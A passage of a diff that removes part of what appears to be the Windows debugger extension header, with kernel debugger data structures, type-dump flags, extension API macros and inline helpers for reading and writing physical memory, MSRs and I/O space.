-} DBGKD_GET_VERSION32, *PDBGKD_GET_VERSION32;
-
-
-//
-// This is the debugger data packet for pre NT5 Beta 2 systems.
-// For now, it is still used on x86
-//
-
-typedef struct _DBGKD_DEBUG_DATA_HEADER32 {
-
- LIST_ENTRY32 List;
- ULONG OwnerTag;
- ULONG Size;
-
-} DBGKD_DEBUG_DATA_HEADER32, *PDBGKD_DEBUG_DATA_HEADER32;
-
-typedef struct _KDDEBUGGER_DATA32 {
-
- DBGKD_DEBUG_DATA_HEADER32 Header;
- ULONG KernBase;
- ULONG BreakpointWithStatus; // address of breakpoint
- ULONG SavedContext;
- USHORT ThCallbackStack; // offset in thread data
- USHORT NextCallback; // saved pointer to next callback frame
- USHORT FramePointer; // saved frame pointer
- USHORT PaeEnabled:1;
- ULONG KiCallUserMode; // kernel routine
- ULONG KeUserCallbackDispatcher; // address in ntdll
-
- ULONG PsLoadedModuleList;
- ULONG PsActiveProcessHead;
- ULONG PspCidTable;
-
- ULONG ExpSystemResourcesList;
- ULONG ExpPagedPoolDescriptor;
- ULONG ExpNumberOfPagedPools;
-
- ULONG KeTimeIncrement;
- ULONG KeBugCheckCallbackListHead;
- ULONG KiBugcheckData;
-
- ULONG IopErrorLogListHead;
-
- ULONG ObpRootDirectoryObject;
- ULONG ObpTypeObjectType;
-
- ULONG MmSystemCacheStart;
- ULONG MmSystemCacheEnd;
- ULONG MmSystemCacheWs;
-
- ULONG MmPfnDatabase;
- ULONG MmSystemPtesStart;
- ULONG MmSystemPtesEnd;
- ULONG MmSubsectionBase;
- ULONG MmNumberOfPagingFiles;
-
- ULONG MmLowestPhysicalPage;
- ULONG MmHighestPhysicalPage;
- ULONG MmNumberOfPhysicalPages;
-
- ULONG MmMaximumNonPagedPoolInBytes;
- ULONG MmNonPagedSystemStart;
- ULONG MmNonPagedPoolStart;
- ULONG MmNonPagedPoolEnd;
-
- ULONG MmPagedPoolStart;
- ULONG MmPagedPoolEnd;
- ULONG MmPagedPoolInformation;
- ULONG MmPageSize;
-
- ULONG MmSizeOfPagedPoolInBytes;
-
- ULONG MmTotalCommitLimit;
- ULONG MmTotalCommittedPages;
- ULONG MmSharedCommit;
- ULONG MmDriverCommit;
- ULONG MmProcessCommit;
- ULONG MmPagedPoolCommit;
- ULONG MmExtendedCommit;
-
- ULONG MmZeroedPageListHead;
- ULONG MmFreePageListHead;
- ULONG MmStandbyPageListHead;
- ULONG MmModifiedPageListHead;
- ULONG MmModifiedNoWritePageListHead;
- ULONG MmAvailablePages;
- ULONG MmResidentAvailablePages;
-
- ULONG PoolTrackTable;
- ULONG NonPagedPoolDescriptor;
-
- ULONG MmHighestUserAddress;
- ULONG MmSystemRangeStart;
- ULONG MmUserProbeAddress;
-
- ULONG KdPrintCircularBuffer;
- ULONG KdPrintCircularBufferEnd;
- ULONG KdPrintWritePointer;
- ULONG KdPrintRolloverCount;
-
- ULONG MmLoadedUserImageList;
-
-} KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32;
-
-// **********************************************************************
-//
-// DO NOT CHANGE KDDEBUGGER_DATA32!!
-// ONLY MAKE CHANGES TO KDDEBUGGER_DATA64!!!
-//
-// **********************************************************************
-
-
-enum
-{
- DBGKD_SIMULATION_NONE,
- DBGKD_SIMULATION_EXDI
-};
-
-#define KD_SECONDARY_VERSION_DEFAULT 0
-
-#define KD_SECONDARY_VERSION_AMD64_OBSOLETE_CONTEXT_1 0
-#define KD_SECONDARY_VERSION_AMD64_OBSOLETE_CONTEXT_2 1
-#define KD_SECONDARY_VERSION_AMD64_CONTEXT 2
-
-#ifdef _AMD64_
-#define CURRENT_KD_SECONDARY_VERSION \
- KD_SECONDARY_VERSION_AMD64_CONTEXT
-#else
-#define CURRENT_KD_SECONDARY_VERSION KD_SECONDARY_VERSION_DEFAULT
-#endif
-
-typedef struct _DBGKD_GET_VERSION64 {
- USHORT MajorVersion;
- USHORT MinorVersion;
- UCHAR ProtocolVersion;
- UCHAR KdSecondaryVersion; // Cannot be 'A' for compat with dump header
- USHORT Flags;
- USHORT MachineType;
-
- //
- // Protocol command support descriptions.
- // These allow the debugger to automatically
- // adapt to different levels of command support
- // in different kernels.
- //
-
- // One beyond highest packet type understood, zero based.
- UCHAR MaxPacketType;
- // One beyond highest state change understood, zero based.
- UCHAR MaxStateChange;
- // One beyond highest state manipulate message understood, zero based.
- UCHAR MaxManipulate;
-
- // Kind of execution environment the kernel is running in,
- // such as a real machine or a simulator. Written back
- // by the simulation if one exists.
- UCHAR Simulation;
-
- USHORT Unused[1];
-
- ULONG64 KernBase;
- ULONG64 PsLoadedModuleList;
-
- //
- // Components may register a debug data block for use by
- // debugger extensions. This is the address of the list head.
- //
- // There will always be an entry for the debugger.
- //
-
- ULONG64 DebuggerDataList;
-
-} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;
-
-
-//
-// This structure is used by the debugger for all targets
-// It is the same size as DBGKD_DATA_HEADER on all systems
-//
-typedef struct _DBGKD_DEBUG_DATA_HEADER64 {
-
- //
- // Link to other blocks
- //
-
- LIST_ENTRY64 List;
-
- //
- // This is a unique tag to identify the owner of the block.
- // If your component only uses one pool tag, use it for this, too.
- //
-
- ULONG OwnerTag;
-
- //
- // This must be initialized to the size of the data block,
- // including this structure.
- //
-
- ULONG Size;
-
-} DBGKD_DEBUG_DATA_HEADER64, *PDBGKD_DEBUG_DATA_HEADER64;
-
-
-//
-// This structure is the same size on all systems. The only field
-// which must be translated by the debugger is Header.List.
-//
-
-//
-// DO NOT ADD OR REMOVE FIELDS FROM THE MIDDLE OF THIS STRUCTURE!!!
-//
-// If you remove a field, replace it with an "unused" placeholder.
-// Do not reuse fields until there has been enough time for old debuggers
-// and extensions to age out.
-//
-typedef struct _KDDEBUGGER_DATA64 {
-
- DBGKD_DEBUG_DATA_HEADER64 Header;
-
- //
- // Base address of kernel image
- //
-
- ULONG64 KernBase;
-
- //
- // DbgBreakPointWithStatus is a function which takes an argument
- // and hits a breakpoint. This field contains the address of the
- // breakpoint instruction. When the debugger sees a breakpoint
- // at this address, it may retrieve the argument from the first
- // argument register, or on x86 the eax register.
- //
-
- ULONG64 BreakpointWithStatus; // address of breakpoint
-
- //
- // Address of the saved context record during a bugcheck
- //
- // N.B. This is an automatic in KeBugcheckEx's frame, and
- // is only valid after a bugcheck.
- //
-
- ULONG64 SavedContext;
-
- //
- // help for walking stacks with user callbacks:
- //
-
- //
- // The address of the thread structure is provided in the
- // WAIT_STATE_CHANGE packet. This is the offset from the base of
- // the thread structure to the pointer to the kernel stack frame
- // for the currently active usermode callback.
- //
-
- USHORT ThCallbackStack; // offset in thread data
-
- //
- // these values are offsets into that frame:
- //
-
- USHORT NextCallback; // saved pointer to next callback frame
- USHORT FramePointer; // saved frame pointer
-
- //
- // pad to a quad boundary
- //
- USHORT PaeEnabled:1;
-
- //
- // Address of the kernel callout routine.
- //
-
- ULONG64 KiCallUserMode; // kernel routine
-
- //
- // Address of the usermode entry point for callbacks.
- //
-
- ULONG64 KeUserCallbackDispatcher; // address in ntdll
-
-
- //
- // Addresses of various kernel data structures and lists
- // that are of interest to the kernel debugger.
- //
-
- ULONG64 PsLoadedModuleList;
- ULONG64 PsActiveProcessHead;
- ULONG64 PspCidTable;
-
- ULONG64 ExpSystemResourcesList;
- ULONG64 ExpPagedPoolDescriptor;
- ULONG64 ExpNumberOfPagedPools;
-
- ULONG64 KeTimeIncrement;
- ULONG64 KeBugCheckCallbackListHead;
- ULONG64 KiBugcheckData;
-
- ULONG64 IopErrorLogListHead;
-
- ULONG64 ObpRootDirectoryObject;
- ULONG64 ObpTypeObjectType;
-
- ULONG64 MmSystemCacheStart;
- ULONG64 MmSystemCacheEnd;
- ULONG64 MmSystemCacheWs;
-
- ULONG64 MmPfnDatabase;
- ULONG64 MmSystemPtesStart;
- ULONG64 MmSystemPtesEnd;
- ULONG64 MmSubsectionBase;
- ULONG64 MmNumberOfPagingFiles;
-
- ULONG64 MmLowestPhysicalPage;
- ULONG64 MmHighestPhysicalPage;
- ULONG64 MmNumberOfPhysicalPages;
-
- ULONG64 MmMaximumNonPagedPoolInBytes;
- ULONG64 MmNonPagedSystemStart;
- ULONG64 MmNonPagedPoolStart;
- ULONG64 MmNonPagedPoolEnd;
-
- ULONG64 MmPagedPoolStart;
- ULONG64 MmPagedPoolEnd;
- ULONG64 MmPagedPoolInformation;
- ULONG64 MmPageSize;
-
- ULONG64 MmSizeOfPagedPoolInBytes;
-
- ULONG64 MmTotalCommitLimit;
- ULONG64 MmTotalCommittedPages;
- ULONG64 MmSharedCommit;
- ULONG64 MmDriverCommit;
- ULONG64 MmProcessCommit;
- ULONG64 MmPagedPoolCommit;
- ULONG64 MmExtendedCommit;
-
- ULONG64 MmZeroedPageListHead;
- ULONG64 MmFreePageListHead;
- ULONG64 MmStandbyPageListHead;
- ULONG64 MmModifiedPageListHead;
- ULONG64 MmModifiedNoWritePageListHead;
- ULONG64 MmAvailablePages;
- ULONG64 MmResidentAvailablePages;
-
- ULONG64 PoolTrackTable;
- ULONG64 NonPagedPoolDescriptor;
-
- ULONG64 MmHighestUserAddress;
- ULONG64 MmSystemRangeStart;
- ULONG64 MmUserProbeAddress;
-
- ULONG64 KdPrintCircularBuffer;
- ULONG64 KdPrintCircularBufferEnd;
- ULONG64 KdPrintWritePointer;
- ULONG64 KdPrintRolloverCount;
-
- ULONG64 MmLoadedUserImageList;
-
- // NT 5.1 Addition
-
- ULONG64 NtBuildLab;
- ULONG64 KiNormalSystemCall;
-
- // NT 5.0 hotfix addition
-
- ULONG64 KiProcessorBlock;
- ULONG64 MmUnloadedDrivers;
- ULONG64 MmLastUnloadedDriver;
- ULONG64 MmTriageActionTaken;
- ULONG64 MmSpecialPoolTag;
- ULONG64 KernelVerifier;
- ULONG64 MmVerifierData;
- ULONG64 MmAllocatedNonPagedPool;
- ULONG64 MmPeakCommitment;
- ULONG64 MmTotalCommitLimitMaximum;
- ULONG64 CmNtCSDVersion;
-
- // NT 5.1 Addition
-
- ULONG64 MmPhysicalMemoryBlock;
- ULONG64 MmSessionBase;
- ULONG64 MmSessionSize;
- ULONG64 MmSystemParentTablePage;
-
- // Server 2003 addition
-
- ULONG64 MmVirtualTranslationBase;
-
- USHORT OffsetKThreadNextProcessor;
- USHORT OffsetKThreadTeb;
- USHORT OffsetKThreadKernelStack;
- USHORT OffsetKThreadInitialStack;
-
- USHORT OffsetKThreadApcProcess;
- USHORT OffsetKThreadState;
- USHORT OffsetKThreadBStore;
- USHORT OffsetKThreadBStoreLimit;
-
- USHORT SizeEProcess;
- USHORT OffsetEprocessPeb;
- USHORT OffsetEprocessParentCID;
- USHORT OffsetEprocessDirectoryTableBase;
-
- USHORT SizePrcb;
- USHORT OffsetPrcbDpcRoutine;
- USHORT OffsetPrcbCurrentThread;
- USHORT OffsetPrcbMhz;
-
- USHORT OffsetPrcbCpuType;
- USHORT OffsetPrcbVendorString;
- USHORT OffsetPrcbProcStateContext;
- USHORT OffsetPrcbNumber;
-
- USHORT SizeEThread;
-
- ULONG64 KdPrintCircularBufferPtr;
- ULONG64 KdPrintBufferSize;
-
- ULONG64 KeLoaderBlock;
-
- USHORT SizePcr;
- USHORT OffsetPcrSelfPcr;
- USHORT OffsetPcrCurrentPrcb;
- USHORT OffsetPcrContainedPrcb;
-
- USHORT OffsetPcrInitialBStore;
- USHORT OffsetPcrBStoreLimit;
- USHORT OffsetPcrInitialStack;
- USHORT OffsetPcrStackLimit;
-
- USHORT OffsetPrcbPcrPage;
- USHORT OffsetPrcbProcStateSpecialReg;
- USHORT GdtR0Code;
- USHORT GdtR0Data;
-
- USHORT GdtR0Pcr;
- USHORT GdtR3Code;
- USHORT GdtR3Data;
- USHORT GdtR3Teb;
-
- USHORT GdtLdt;
- USHORT GdtTss;
- USHORT Gdt64R3CmCode;
- USHORT Gdt64R3CmTeb;
-
- ULONG64 IopNumTriageDumpDataBlocks;
- ULONG64 IopTriageDumpDataBlocks;
-
- // Longhorn addition
-
- ULONG64 VfCrashDataBlock;
- ULONG64 MmBadPagesDetected;
- ULONG64 MmZeroedPageSingleBitErrorsDetected;
-
- // Windows 7 addition
-
- ULONG64 EtwpDebuggerData;
- USHORT OffsetPrcbContext;
-
-} KDDEBUGGER_DATA64, *PKDDEBUGGER_DATA64;
-
-
-
-/************************************
-
- Type Dump Ioctl
-
-*************************************/
-
-
-//
-// Fields are not indented if this is set
-//
-#define DBG_DUMP_NO_INDENT 0x00000001
-//
-// Offsets are not printed if this is set
-//
-#define DBG_DUMP_NO_OFFSET 0x00000002
-//
-// Verbose output
-//
-#define DBG_DUMP_VERBOSE 0x00000004
-//
-// Callback is done for each of fields
-//
-#define DBG_DUMP_CALL_FOR_EACH 0x00000008
-//
-// A list of type is dumped, listLink should have info about next element pointer
-//
-#define DBG_DUMP_LIST 0x00000020
-//
-// Nothing is printed if this is set (only callbacks and data copies done)
-//
-#define DBG_DUMP_NO_PRINT 0x00000040
-//
-// Ioctl returns the size as usual, but will not do field prints/callbacks if this is set
-//
-#define DBG_DUMP_GET_SIZE_ONLY 0x00000080
-//
-// Specifies how much deep into structs we can go
-//
-#define DBG_DUMP_RECUR_LEVEL(l) ((l & 0xf) << 8)
-//
-// No newlines are printed after each field
-//
-#define DBG_DUMP_COMPACT_OUT 0x00002000
-//
-// An array of type is dumped, number of elements can be specified in listLink->size
-//
-#define DBG_DUMP_ARRAY 0x00008000
-//
-// The specified addr value is actually the address of field listLink->fName
-//
-#define DBG_DUMP_ADDRESS_OF_FIELD 0x00010000
-
-//
-// The specified addr value is actually the adress at the end of type
-//
-#define DBG_DUMP_ADDRESS_AT_END 0x00020000
-
-//
-// This could be used to copy only the primitive types like ULONG, PVOID etc.
-// - will not work with structures/unions
-//
-#define DBG_DUMP_COPY_TYPE_DATA 0x00040000
-//
-// Flag to allow read directly from physical memory
-//
-#define DBG_DUMP_READ_PHYSICAL 0x00080000
-//
-// This causes a function type to be dumped in format function(arg1, arg2, ...)
-//
-#define DBG_DUMP_FUNCTION_FORMAT 0x00100000
-//
-// This recurses on a struct but doesn't expand pointers
-//
-#define DBG_DUMP_BLOCK_RECURSE 0x00200000
-//
-// Match the type size to resolve ambiguity in case multiple matches with same name are available
-//
-#define DBG_DUMP_MATCH_SIZE 0x00400000
-
-//
-// Obsolete defs
-//
-#define DBG_RETURN_TYPE 0
-#define DBG_RETURN_SUBTYPES 0
-#define DBG_RETURN_TYPE_VALUES 0
-
-//
-// Dump and callback optons for fields - Options used in FIELD_INFO.fOptions
-//
-
-//
-// Callback is done before printing the field if this is set
-//
-#define DBG_DUMP_FIELD_CALL_BEFORE_PRINT 0x00000001
-//
-// No callback is done
-//
-#define DBG_DUMP_FIELD_NO_CALLBACK_REQ 0x00000002
-//
-// Subfields of the fields are processesed
-//
-#define DBG_DUMP_FIELD_RECUR_ON_THIS 0x00000004
-//
-// fName must match completely for the field to be dumped instead just a prefix
-// match by default
-//
-#define DBG_DUMP_FIELD_FULL_NAME 0x00000008
-//
-// This causes array elements of an array field to be printed
-//
-#define DBG_DUMP_FIELD_ARRAY 0x00000010
-//
-// The data of the field is copied into fieldCallBack
-//
-#define DBG_DUMP_FIELD_COPY_FIELD_DATA 0x00000020
-//
-// In callback or when Ioctl returns, the FIELD_INFO.address has the address of field.
-// If no address is supplied for the type, it contains total offset of the field.
-//
-#define DBG_DUMP_FIELD_RETURN_ADDRESS 0x00001000
-//
-// Return the offset and size in bits instead of bytes is case of Bitfield
-//
-#define DBG_DUMP_FIELD_SIZE_IN_BITS 0x00002000
-//
-// Nothing is printed for field if this is set (only callbacks and data copies done)
-//
-#define DBG_DUMP_FIELD_NO_PRINT 0x00004000
-//
-// If the field is a pointer, it is dumped as a string, ANSI, WCHAR, MULTI or GUID
-// depending on following options
-//
-#define DBG_DUMP_FIELD_DEFAULT_STRING 0x00010000
-#define DBG_DUMP_FIELD_WCHAR_STRING 0x00020000
-#define DBG_DUMP_FIELD_MULTI_STRING 0x00040000
-#define DBG_DUMP_FIELD_GUID_STRING 0x00080000
-
-
-//
-// Error status returned on TYPE DUMP Ioctl failure
-//
-#define MEMORY_READ_ERROR 0x01
-#define SYMBOL_TYPE_INDEX_NOT_FOUND 0x02
-#define SYMBOL_TYPE_INFO_NOT_FOUND 0x03
-#define FIELDS_DID_NOT_MATCH 0x04
-#define NULL_SYM_DUMP_PARAM 0x05
-#define NULL_FIELD_NAME 0x06
-#define INCORRECT_VERSION_INFO 0x07
-#define EXIT_ON_CONTROLC 0x08
-#define CANNOT_ALLOCATE_MEMORY 0x09
-#define INSUFFICIENT_SPACE_TO_COPY 0x0a
-#define ADDRESS_TYPE_INDEX_NOT_FOUND 0x0b
-
-
-//////////////////////////////////////////////////////////////////////////*/
-
-
-typedef
-ULONG
-(WDBGAPI*PSYM_DUMP_FIELD_CALLBACK)(
- struct _FIELD_INFO *pField,
- PVOID UserContext
- );
-
-typedef struct _FIELD_INFO {
- PUCHAR fName; // Name of the field
- PUCHAR printName; // Name to be printed at dump
- ULONG size; // Size of the field
- ULONG fOptions; // Dump Options for the field
- ULONG64 address; // address of the field
- union {
- PVOID fieldCallBack; // Return info or callBack routine for the field
- PVOID pBuffer; // the type data is copied into this
- };
- ULONG TypeId; // OUT Type index of the field
- ULONG FieldOffset; // OUT Offset of field inside struct
- ULONG BufferSize; // size of buffer used with DBG_DUMP_FIELD_COPY_FIELD_DATA
- struct _BitField {
- USHORT Position; // OUT set to start position for bitfield
- USHORT Size; // OUT set to size for bitfields
- } BitField;
- ULONG fPointer:2; // OUT set to 1 for pointers, 3 for 64bit pointers
- ULONG fArray:1; // OUT set to 1 for array types
- ULONG fStruct:1; // OUT set to 1 for struct/class tyoes
- ULONG fConstant:1; // OUT set to 1 for constants (enumerate as fields)
- ULONG fStatic:1; // OUT set to 1 for statics (class/struct static members)
- ULONG Reserved:26; // unused
-} FIELD_INFO, *PFIELD_INFO;
-
-typedef struct _SYM_DUMP_PARAM {
- ULONG size; // size of this struct
- PUCHAR sName; // type name
- ULONG Options; // Dump options
- ULONG64 addr; // Address to take data for type
- PFIELD_INFO listLink; // fName here would be used to do list dump
- union {
- PVOID Context; // Usercontext passed to CallbackRoutine
- PVOID pBuffer; // the type data is copied into this
- };
- PSYM_DUMP_FIELD_CALLBACK CallbackRoutine;
- // Routine called back
- ULONG nFields; // # elements in Fields
- __field_ecount_opt(nFields) PFIELD_INFO Fields; // Used to return information about field
- ULONG64 ModBase; // OUT Module base address containing type
- ULONG TypeId; // OUT Type index of the symbol
- ULONG TypeSize; // OUT Size of type
- ULONG BufferSize; // IN size of buffer (used with DBG_DUMP_COPY_TYPE_DATA)
- ULONG fPointer:2; // OUT set to 1 for pointers, 3 for 64bit pointers
- ULONG fArray:1; // OUT set to 1 for array types
- ULONG fStruct:1; // OUT set to 1 for struct/class tyoes
- ULONG fConstant:1; // OUT set to 1 for constant types (unused)
- ULONG Reserved:27; // unused
-} SYM_DUMP_PARAM, *PSYM_DUMP_PARAM;
-
-#ifdef __cplusplus
-#define CPPMOD extern "C"
-#else
-#define CPPMOD
-#endif
-
-
-#ifndef NOEXTAPI
-
-#if defined(KDEXT_64BIT)
-#define WINDBG_EXTENSION_APIS WINDBG_EXTENSION_APIS64
-#define PWINDBG_EXTENSION_APIS PWINDBG_EXTENSION_APIS64
-#define PWINDBG_EXTENSION_ROUTINE PWINDBG_EXTENSION_ROUTINE64
-#define DECLARE_API(s) DECLARE_API64(s)
-#elif defined(KDEXT_32BIT)
-#define WINDBG_EXTENSION_APIS WINDBG_EXTENSION_APIS32
-#define PWINDBG_EXTENSION_APIS PWINDBG_EXTENSION_APIS32
-#define PWINDBG_EXTENSION_ROUTINE PWINDBG_EXTENSION_ROUTINE32
-#define DECLARE_API(s) DECLARE_API32(s)
-#else
-#define DECLARE_API(s) \
- CPPMOD VOID \
- s( \
- HANDLE hCurrentProcess, \
- HANDLE hCurrentThread, \
- ULONG dwCurrentPc, \
- ULONG dwProcessor, \
- PCSTR args \
- )
-#endif
-
-#define DECLARE_API32(s) \
- CPPMOD VOID \
- s( \
- HANDLE hCurrentProcess, \
- HANDLE hCurrentThread, \
- ULONG dwCurrentPc, \
- ULONG dwProcessor, \
- PCSTR args \
- )
-
-#define DECLARE_API64(s) \
- CPPMOD VOID \
- s( \
- HANDLE hCurrentProcess, \
- HANDLE hCurrentThread, \
- ULONG64 dwCurrentPc, \
- ULONG dwProcessor, \
- PCSTR args \
- )
-
-
-extern WINDBG_EXTENSION_APIS ExtensionApis;
-
-
-#define dprintf (ExtensionApis.lpOutputRoutine)
-#define GetExpression (ExtensionApis.lpGetExpressionRoutine)
-#define CheckControlC (ExtensionApis.lpCheckControlCRoutine)
-#define GetContext (ExtensionApis.lpGetThreadContextRoutine)
-#define SetContext (ExtensionApis.lpSetThreadContextRoutine)
-#define Ioctl (ExtensionApis.lpIoctlRoutine)
-#define Disasm (ExtensionApis.lpDisasmRoutine)
-#define GetSymbol (ExtensionApis.lpGetSymbolRoutine)
-#define ReadMemory (ExtensionApis.lpReadProcessMemoryRoutine)
-#define WriteMemory (ExtensionApis.lpWriteProcessMemoryRoutine)
-#define StackTrace (ExtensionApis.lpStackTraceRoutine)
-
-
-#define GetKdContext(ppi) \
- Ioctl( IG_KD_CONTEXT, (PVOID)ppi, sizeof(*ppi) )
-
-
-//
-// BOOL
-// GetDebuggerData(
-// ULONG Tag,
-// PVOID Buf,
-// ULONG Size
-// )
-//
-
-#define GetDebuggerData(TAG, BUF, SIZE) \
- ( (((PDBGKD_DEBUG_DATA_HEADER64)(BUF))->OwnerTag = (TAG)), \
- (((PDBGKD_DEBUG_DATA_HEADER64)(BUF))->Size = (SIZE)), \
- Ioctl( IG_GET_DEBUGGER_DATA, (PVOID)(BUF), (SIZE) ) )
-
-// Check if LocalAlloc is prototyped
-//#ifdef _WINBASE_
-
-__inline VOID
-ReadPhysical(
- ULONG64 address,
- PVOID buf,
- ULONG size,
- PULONG sizer
- )
-{
- PPHYSICAL phy = NULL;
- *sizer = 0;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {
- phy = (PPHYSICAL)LocalAlloc(LPTR, sizeof(*phy) + size );
- }
- if (phy) {
- ZeroMemory( phy->Buf, size );
- phy->Address = address;
- phy->BufLen = size;
- Ioctl( IG_READ_PHYSICAL, (PVOID)phy, sizeof(*phy) + size );
- *sizer = phy->BufLen;
- CopyMemory( buf, phy->Buf, *sizer );
- LocalFree( phy );
- }
-}
-
-__inline VOID
-WritePhysical(
- ULONG64 address,
- PVOID buf,
- ULONG size,
- PULONG sizew
- )
-{
- PPHYSICAL phy = NULL;
- *sizew = 0;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {
- phy = (PPHYSICAL)LocalAlloc(LPTR, sizeof(*phy) + size );
- }
- if (phy) {
- ZeroMemory( phy->Buf, size );
- phy->Address = address;
- phy->BufLen = size;
- CopyMemory( phy->Buf, buf, size );
- Ioctl( IG_WRITE_PHYSICAL, (PVOID)phy, sizeof(*phy) + size );
- *sizew = phy->BufLen;
- LocalFree( phy );
- }
-}
-
-__inline VOID
-ReadPhysicalWithFlags(
- ULONG64 address,
- PVOID buf,
- ULONG size,
- ULONG flags,
- PULONG sizer
- )
-{
- PPHYSICAL_WITH_FLAGS phy = NULL;
- *sizer = 0;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {
- phy = (PPHYSICAL_WITH_FLAGS)LocalAlloc(LPTR, sizeof(*phy) + size );
- }
- if (phy) {
- ZeroMemory( phy->Buf, size );
- phy->Address = address;
- phy->BufLen = size;
- phy->Flags = flags;
- Ioctl( IG_READ_PHYSICAL_WITH_FLAGS, (PVOID)phy, sizeof(*phy) + size );
- *sizer = phy->BufLen;
- CopyMemory( buf, phy->Buf, *sizer );
- LocalFree( phy );
- }
-}
-
-__inline VOID
-WritePhysicalWithFlags(
- ULONG64 address,
- PVOID buf,
- ULONG size,
- ULONG flags,
- PULONG sizew
- )
-{
- PPHYSICAL_WITH_FLAGS phy = NULL;
- *sizew = 0;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) {
- phy = (PPHYSICAL_WITH_FLAGS)LocalAlloc(LPTR, sizeof(*phy) + size );
- }
- if (phy) {
- ZeroMemory( phy->Buf, size );
- phy->Address = address;
- phy->BufLen = size;
- phy->Flags = flags;
- CopyMemory( phy->Buf, buf, size );
- Ioctl( IG_WRITE_PHYSICAL_WITH_FLAGS, (PVOID)phy, sizeof(*phy) + size );
- *sizew = phy->BufLen;
- LocalFree( phy );
- }
-}
-
-__inline VOID
-ReadMsr(
- ULONG MsrReg,
- ULONGLONG *MsrValue
- )
-{
- READ_WRITE_MSR msr;
-
- msr.Msr = MsrReg;
- Ioctl( IG_READ_MSR, (PVOID)&msr, sizeof(msr) );
-
- *MsrValue = msr.Value;
-}
-
-__inline VOID
-WriteMsr(
- ULONG MsrReg,
- ULONGLONG MsrValue
- )
-{
- READ_WRITE_MSR msr;
-
- msr.Msr = MsrReg;
- msr.Value = MsrValue;
- Ioctl( IG_WRITE_MSR, (PVOID)&msr, sizeof(msr) );
-}
-
-__inline VOID
-SetThreadForOperation(
- ULONG_PTR * Thread
- )
-{
- Ioctl(IG_SET_THREAD, (PVOID)Thread, sizeof(PULONG));
-}
-
-__inline VOID
-SetThreadForOperation32(
- ULONG Thread
- )
-{
- Ioctl(IG_SET_THREAD, (PVOID)LongToPtr(Thread), sizeof(ULONG));
-}
-
-__inline VOID
-SetThreadForOperation64(
- PULONG64 Thread
- )
-{
- Ioctl(IG_SET_THREAD, (PVOID)Thread, sizeof(ULONG64));
-}
-
-
-__inline VOID
-ReadControlSpace(
- USHORT processor,
- ULONG address,
- PVOID buf,
- ULONG size
- )
-{
- PREADCONTROLSPACE prc = NULL;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {
- prc = (PREADCONTROLSPACE)LocalAlloc(LPTR, sizeof(*prc) + size );
- }
- if (prc) {
- ZeroMemory( prc->Buf, size );
- prc->Processor = processor;
- prc->Address = address;
- prc->BufLen = size;
- Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );
- CopyMemory( buf, prc->Buf, size );
- LocalFree( prc );
- }
-}
-
-__inline VOID
-ReadControlSpace32(
- USHORT processor,
- ULONG address,
- PVOID buf,
- ULONG size
- )
-{
- PREADCONTROLSPACE32 prc = NULL;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {
- prc = (PREADCONTROLSPACE32)LocalAlloc(LPTR, sizeof(*prc) + size );
- }
- if (prc) {
- ZeroMemory( prc->Buf, size );
- prc->Processor = processor;
- prc->Address = address;
- prc->BufLen = size;
- Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );
- CopyMemory( buf, prc->Buf, size );
- LocalFree( prc );
- }
-}
-
-#define ReadTypedControlSpace32( _Proc, _Addr, _Buf ) \
- ReadControlSpace64( (USHORT)(_Proc), (ULONG)(_Addr), (PVOID)&(_Buf), (ULONG)sizeof(_Buf) )
-
-__inline VOID
-ReadControlSpace64(
- USHORT processor,
- ULONG64 address,
- PVOID buf,
- ULONG size
- )
-{
- PREADCONTROLSPACE64 prc = NULL;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {
- prc = (PREADCONTROLSPACE64)LocalAlloc(LPTR, sizeof(*prc) + size );
- }
- if (prc) {
- ZeroMemory( prc->Buf, size );
- prc->Processor = processor;
- prc->Address = address;
- prc->BufLen = size;
- Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );
- CopyMemory( buf, prc->Buf, size );
- LocalFree( prc );
- }
-}
-
-#define ReadTypedControlSpace64( _Proc, _Addr, _Buf ) \
- ReadControlSpace64( (USHORT)(_Proc), (ULONG64)(_Addr), (PVOID)&(_Buf), (ULONG)sizeof(_Buf) )
-
-__inline VOID
-WriteControlSpace(
- USHORT processor,
- ULONG address,
- PVOID buf,
- ULONG size
- )
-{
- PREADCONTROLSPACE64 prc = NULL;
- if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) {
- prc = (PREADCONTROLSPACE64)LocalAlloc(LPTR, sizeof(*prc) + size );
- }
- if (prc) {
- ZeroMemory( prc->Buf, size );
- prc->Processor = processor;
- prc->Address = address;
- prc->BufLen = size;
- CopyMemory( prc->Buf, buf, size );
- Ioctl( IG_WRITE_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size );
- LocalFree( prc );
- }
-}
-
-// #endif // _WINBASE_
-
-__inline VOID
-ReadIoSpace(
- ULONG address,
- PULONG data,
- PULONG size
- )
-{
- IOSPACE is;
- is.Address = address;
- is.Length = *size;
- Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) );
- memcpy(data, &is.Data, is.Length);
- *size = is.Length;
-}
-
-__inline VOID
-ReadIoSpace32(
- ULONG address,
- PULONG data,
- PULONG size
- )
-{
- IOSPACE32 is;
- is.Address = address;
- is.Length = *size;
- Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) );
- memcpy(data, &is.Data, is.Length);
- *size = is.Length;
-}
-
-__inline VOID
-ReadIoSpace64(
- ULONG64 address,
- PULONG data,
- PULONG size
- )
-{
- IOSPACE64 is;
- is.Address = address;
- is.Length = *size;
- Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) );
- memcpy(data, &is.Data, is.Length);
- *size = is.Length;
-}
-
-__inline VOID
-WriteIoSpace(
- ULONG address,
- ULONG data,
- PULONG size
- )
-{
- IOSPACE is;
- is.Address = (ULONG)address;
- is.Length = *size;
- is.Data = data;
